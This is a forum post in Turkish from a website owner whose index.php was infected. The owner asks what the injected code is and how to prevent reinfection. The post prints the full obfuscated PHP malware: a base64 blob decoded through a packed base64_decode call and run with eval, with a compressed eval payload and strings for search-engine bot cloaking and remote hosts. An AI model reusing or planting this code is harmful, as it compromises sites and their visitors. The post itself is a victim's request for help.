Geçen gün siteme girdiğimde bir form sayfasının boş olduğunu gördüm. dosya adı index.php idi.
Hostinge ilettim durumu virüs bulaştığını söylediler bende yedek yüklemesi yapılmasını söyledim yedekden sonra sorun düzeldi.
Dosyaları karşılaştırdığımda şu şekilde bir virüs koduna rastladım
Kod ilk açılan php tag i ile başlayıp akabinde tagi kapatıyordu.
Daha önce iframe virüsü ile karşılaşmıştım fakat bunu ilk defa görüyorum.
Hakkında bilgisi olan arkadaşlar varsa yardımcı olabilir mi ?
Nedir ne değildir? Şifreleri değiştirdim ama tekrarlanmasını nasıl önleyebilirz ?
/*versio:3.02*/ $GLOBALS["eipxhj"]="RaW5pX3NldAcMmYWxsb3dfdXJsX2ZvcGVudYEzZGlzcGxheV9lcnJvcnMkwZmVkb3IvcmVzdG9yZV9hZADeMy4wMgnzGdGhhaDFOaWV0aGFpMnphaDZBaHIxjGaaHR0cDovLwmxuFSFRUUFMxUMKb2ZmugQbbaHR0cHM6Ly8oPYMoSFRUUF9IT1NUGYuXdW5pb24AdpwGHKc2VsZWN0ssgdUkVRVUVTVF9VUkklVGU0NSSVBUX05BTUUeaUVVFUllfU1RSSU5HPwOQQJeEZGV0ZXJtaW5hdG9yOOFLgwLmxvZwAoSFRUUF9ZX0FVVEgGuYmFzZTY0X2RlY29kZQdmVyc2lvdLQALXBocATSFRUUF9FWEVDUEhQVSzSUb3V0GAHlb2sFuDsSFRUUF9VU0VSX0FHRU5UZPBzqDLArZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAIJWYQymyjYmxhYnVlbC5uZXQqoFoOZmFzdGFkZHouY29ttDKL3czLnBocD91PQwJms9cpUXtEJnQ9cGhwJnA9VOcJnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYrdHVvOGdTZnBVT3NrWllNTmpnSzVQRFVhSlp6NWxJczBua2NWWmF6VVlJNDhaZ1k3Q2hNZGhSM3YxVU5ZM0JpVFBhWDhaZDFYV3ZyNm9EajhoWEMrb0ZFVjNJMG9JeW1teUN5R0Z4SXJYYkx5UUFzcGRGTGd2aXlLWkZrTEpVUHRDWU9rV2N5MTFGVi9WdUcvbHVnaWl3VThwcW90NERxdEZ0cTBSdlgxK2k5eFdqcitvbU1IU0I0WlZVYW9qdCt2R3h5T2ZCeHQwZDVkYlJZZlAxWGlXZldqUjIyREVqRnJsLyt2R2pUVjVJZmJJSjNDUm13WWJLTE1rb3lFc295NUtJZURUMktoRnZ0QVE1MjhUN0lGd3Z2VkJ1TWNhVy9rWWxyWTIzZExJVnVOVGFIUFBnRUlKd3ljMlNVTG9tclZXeVdSMExPQkUwVGJMQkx3WWtqQlAzY1FrK1NrNFl4cmtObDJ3djN0SklhaE1McE9nUzJpd011L0dDa0NLMzdjWVJveEhFVmZJWjIzN3BkQ1NpRVdFUGZwVUdhVVQ2bEZ2ZTBwVzRHelJNNmFYY0NCTXhKYTMxWWVrekRNNk5PSlhoYW1zZHMva3hPZk1COGhKdjBZdFdWSGpMbko0UmFVRmRJTjJJaTdJUXE1S3ZUOU1mRDQ4ekczNVU4aTlzZHpNMC9XTTUzeWUzZjB5bUt2RWM4TzIzbk5QSjdHbDZQNXZlM3YvOGhqZEV5aisrOFBYaC9uN3lkVGE3KzNQeThEUlR5UkFEUWVQZDZyamk0U25kcnU2aEtNeTQ3WVp4Mmp6RmdOUE5saDFrY1JuQ1hJdVJwT3ZYS3J2aXRNb1VsbXBaZzZqT1MyTjNqWFZSVjkyNEM1VzM5dzR1bThQSE1Wb3VmS2o0Z2RCWjFTK0tXUy9pZGNSS2RlUzhJOEJzYjV0aEVWUXRJLzF2TWlNdklndXZrb1pwU05maysyejIyTkcxTGh6OGsvd1R3Yy8zT0dWZkNIeThDSk5lT1FIRDVLNks4SkNDaXNmdmovYkRUMDNxU0JwKy9qV1ovcng3dUwrZzlDbWx5ZWZiSmRUMEYxQmUzdWZ5S3BtNUQ3VXZYMzNRNThLcE52bjBpY2h2K3BwOHJzbi9JVWE3RG9pR2dZVjJhaGlpRzJQZUt6ZWVTT1FKQmxxaGUyU1FKb3ZRWWh2R0N5cExKL3ZVU2lUd1pSRkNsdUQrMVgydWNTWFlYTGhYOG5HZHIyZFFzNDFXY1hUWWhPdDA3c3F0MUErMnF3UHkrOGNnV1lBVEZDSkJwTDl0U1JORVRmb0MzeVZkSk9rY3ZIYnVQQzg4dXQ4Vjg1M2N5dDNET3ZMYk5iaTA3SitUS1dUb2x5QTk0KzFXR2tOTkhxd1RCUGRHaW1Hb2hvRVJZWE8yRDlZMXJUOVVlaU9WTjRxM1gzakJxaWFObFBGQU5VYjhGaStXbWpRWUtNTXh6b1N5Y0lPVXg2OHlwc1ordzFURzZxajlYSTJZbXdzOHZZRmlJQSs1c3NqcDFGRDAvbER0YzN4N3E3d0hFd2RIaWk0eUlCZzBLMlVKaXdHUmFYSkowV0NvNlBwSTFZMDI1dGVMRStxNFBqU2RqYzNqcEVTa3hQcHZuUzgwR1lSdVk2aTI4bEJ0ekxXaDB1K0I0UWdPS09PWEVQQnNOUWFuMGRWVmlGSU41QitKTThFcHZhdU9meWRPaDdCRFZMaThWekJPdnZwdDRJZXFQc0RRSTV5ODV4aDJsY0dBYzNCb2ZCK3V2cUtQVE02QVNmNHd4d2JNZHdOVURUOVVOUm9yT3RRWVY2VTFjcXdQUjRwcHFrWWJKc2dGQTR4dUg3MUZ3ZGR2K3N4WlI0R3p6L1lyaUtxTUplTHRnanpaVzRzZ2lSekFFTnYrZHZkall0dHQ3WSs3S1F5RWgrbmZJUDd4ZG5vTG4xRE9PNS9tSzRUVDJ5UnhEaktST2d1Njc2VCtCcnBiNnJETnRxTjVNSzAvWjFGUTFFZDNYeWZWU1cydU5QdnpVWG8rUDVtY2ppYjNmelU1cXI5ZzFkbUp1TUQxb1BUVGdwRUIramdMRzQ1dDhFMkNIVXE0cWtrbDYrbHZ2djBzRm94T2VTbjlnT3BDMVZPZ25mV0FDQWgyd1RySWZMOFF4WDhseHFBNDVEak1QelhyWW1UTDlTaTE4eVJnemp5a1p6ZExZM0RwS0ErdnlSejByeXNZclVacXlYYk5LNXozUzFoUFVKd0dnRG92cE54azZ5MXpiQ282b0JVVVM3Vm1WZzNYV3JERWphaFZvY1FsQ0JyM2xaNWVkZ3ZZNmJ1ZWw0VFd6V1l4cVBScVlpZ0srTlFFVnBicnhXb1h4TmFibXRUT3FseUhCakhhbXBCOC9jNTYzUndwbzFGcHZSQ0lvbys3L09qd05iUThxNFVhcHFIME9XcC9oS3JRUEVhM3kzMnlMS0VZbmNzOWY1RWNHL2h2S0FhMk9ZN1FjanlKS1hRK3pCcUN4NG9Cd1JxanFTSWFEZGpwQVJnTXVLL2xFS3BwWUxFeE1NSG1hdGxoL3NFdGNrdFlkTmtKRTk0T3BzQVdlSHpRdlJOV0YvK2x2VjBZYnlZTUVyWEduWjdTRy9mVlhyc3NreUpnY2xreHJaVWZicFp6aVBjM1hFMGhBVTU0ekptRCtQajcwZEliZ2QvOEZYUTJXcXFsNDhRM0hDdTlBVXppcGpXQXM3MmhxUTVnMXZIK20yZHB2aS9lREovU0VQVkV2YklzYmlOdnlJeHRRcjcrZStXeSthNVl1b1ppWXJVMHRPcjZBTlJpcHJEUWtzSlBDeGRGWk5odExocDlhU1FNRkJnYlpaL2dQb2hkamkzT0RZRDFITmUzTnF3eERIYWEwbER4cDVRUGYvaGFlTnJUeW90b1FCbDVhd2E3M3hrcVZIaUNqNmpLTVY0SkxNNWNYNjU3QlNEVERiTUZ0ZVBJcFkzekJnNVUyWVVuR3VyQjBJWHJJdlBtcHpuUTZFZGRNVXcrSFJzeE0wMmwzK1ZkV3ZYZHVSVW9VWUJOSTQ3aUNMMHM5M1BTSElFanlQNEFvS2NQSFZNeTFubnJqd3pjc3ZvbjRHZzAyaGpydW92THpQdE9BN1NCemNUa0Y4c09CZDJIeldHOXd4Uy9lUStYSVlDZHQzNFNYNzhQYjRuUTRvbnpGcjBNMkM5N0FyM0VUdlovd3BjOEV3PT0iKSkpOwPX"; if (!function_exists('yeoeaxow')){function yeoeaxow($a, $b){$c=$GLOBALS['eipxhj'];$d=pack('H*','6261736536345f64'.'65636f6465'); return $d(substr($c, $a, $b));};eval(yeoeaxow(569,3294));};